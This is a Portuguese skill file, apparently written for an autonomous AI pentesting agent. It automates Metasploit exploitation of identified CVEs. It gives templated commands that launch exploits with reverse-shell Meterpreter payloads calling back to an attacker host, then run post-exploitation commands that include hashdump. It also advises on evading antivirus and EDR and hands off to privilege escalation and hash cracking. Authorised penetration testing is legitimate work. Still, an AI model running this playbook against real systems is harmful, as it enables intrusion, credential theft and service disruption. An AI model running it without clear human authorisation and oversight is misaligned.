---
name: metasploit_auto_exploit
phase: 4_exploitation
tools: [msfconsole]
dependencies: [cve_with_exploit_identified]
mitre_tactic: TA0002 (Execution), TA0001 (Initial Access)
---

# Objetivo
Automatizar a configuração e execução de exploits do Metasploit Framework para vulnerabilidades identificadas, visando obter uma sessão Meterpreter ou shell reverso no alvo.

# Condições de Execução
- Uma vulnerabilidade com exploit conhecido no Metasploit foi identificada (ex: via `cve_search_engine`).
- O agente tem permissão para executar ataques ativos (exploração).

# Comandos e Sintaxe

## 1. Criar Script de Automação (Resource Script)
O agente deve gerar um arquivo `.rc` com os comandos do Metasploit.
```bash
echo "use {exploit_module}
set RHOSTS {target_ip}
set RPORT {target_port}
set LHOST {attacker_ip}
set LPORT {attacker_port}
set payload {payload_type}
exploit -j -z" > {workspace}/exploit_{cve}.rc
```
*Nota: `payload_type` geralmente é `linux/x64/meterpreter/reverse_tcp` ou `windows/x64/meterpreter/reverse_tcp`.*

## 2. Executar o Exploit
```bash
msfconsole -q -r {workspace}/exploit_{cve}.rc -o {workspace}/msf_output_{cve}.txt
```

## 3. Interagir com a Sessão (se bem-sucedido)
Se uma sessão for aberta, o agente pode enviar comandos via script:
```bash
echo "sessions -i 1 -c 'sysinfo'
sessions -i 1 -c 'getuid'
sessions -i 1 -c 'hashdump'" > {workspace}/post_exploit.rc
msfconsole -q -r {workspace}/post_exploit.rc -o {workspace}/msf_post_output.txt
```

# Análise de Resultados
- **Sessão Meterpreter aberta:** Sucesso crítico! O agente obteve acesso ao sistema. Verifique o nível de privilégio (`getuid`).
- **Exploit falhou (No session created):** O alvo pode estar patcheado, o payload pode ter sido bloqueado por AV/EDR, ou os parâmetros estão incorretos.
- **Timeout:** O serviço pode ter travado (DoS acidental). Registre no log e pare a exploração deste serviço.

# Próximos Passos
- Se obtiver shell como usuário comum, acione `linux_privilege_escalation` ou `windows_privilege_escalation`.
- Se obtiver shell como root/SYSTEM, acione `hash_dumping_and_cracking`.

# Tratamento de Erros
- Se o LHOST não estiver configurado corretamente, o shell reverso não chegará. Use o IP da interface VPN/tun0.
- Se o payload padrão for pego pelo antivírus, tente usar payloads em memória ou encoders (`set EnableStageEncoding true`).
